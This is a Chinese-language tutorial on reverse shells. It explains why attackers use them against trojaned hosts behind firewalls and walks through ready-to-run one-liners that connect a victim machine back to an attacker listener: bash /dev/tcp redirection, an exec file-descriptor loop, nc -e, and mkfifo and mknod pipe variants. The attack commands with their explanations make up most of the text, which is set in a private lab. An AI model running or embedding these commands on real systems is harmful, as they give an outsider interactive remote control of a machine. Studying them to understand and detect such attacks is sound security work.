反弹shell
0x00 什么是反弹shell
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
0x01 为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
0x02 反弹shell的本质是什么
我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。
实验环境:
受害者:Ubuntu Linux ——> 192.168.146.128
攻击者:Kali Linux ——> 192.168.146.129
我们就以最常见的bash为例:
attacker机器上执行:
1 | nc -lvp 2333 |
victim 机器上执行:
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 |
你就可以看到在攻击机上出现了受害者机器的shell.
解释一下这条命令具体的含义:
1.bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2)-i 这个参数表示的是产生交互式的shell
2./dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
实例1:
我们输出字符串到这个文件里:
1 | echo hacked by Horizon > /dev/tcp/192.168.146.129/2333 |
攻击机上就会输出:
1 | hacked by Horizon |
3.交互重定向
为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入:
1 | bash -i > /dev/tcp/192.168.146.129/2333 |
任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。
但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。
于是我们似乎还需要一条这样的指令
1 | bash -i < /dev/tcp/192.168.146.129/2333 |
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了
现在我们需要将两条指令结合起来:
1 | bash -i > /dev/tcp/192.168.146.129/2333 0>&1 |
输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能
注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令
4. >&、&>
这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)
现在我们解决一下前面的问题:
1 | bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1 |
当然我们也可以执行与之完全等价的指令
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 |
至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句
0x03 常见的反弹shell 的语句怎么理解
1.方法一
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 |
和
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0<&1 |
这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
2.方法二
1 | bash -i >& /dev/tcp/192.168.146.129/2333 <&2 |
等价于
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0<&2 |
3.方法三
1 | exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done |
简单的解释一下:
1 | exec 5<>/dev/tcp/192.168.146.129/2333 |
这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过),于是我们就能通过文件描述符对这个socket连接进行操作了
1 | command|while read line do .....done |
这个是一个非常经典的句子,它的原句是这样的
1 | while read line |
从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。
而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
4.方法四
nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)
1 | nc -e /bin/sh 192.168.146.129 2333 |
但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
简单的解释:
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
类似的命令:
1 | mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe |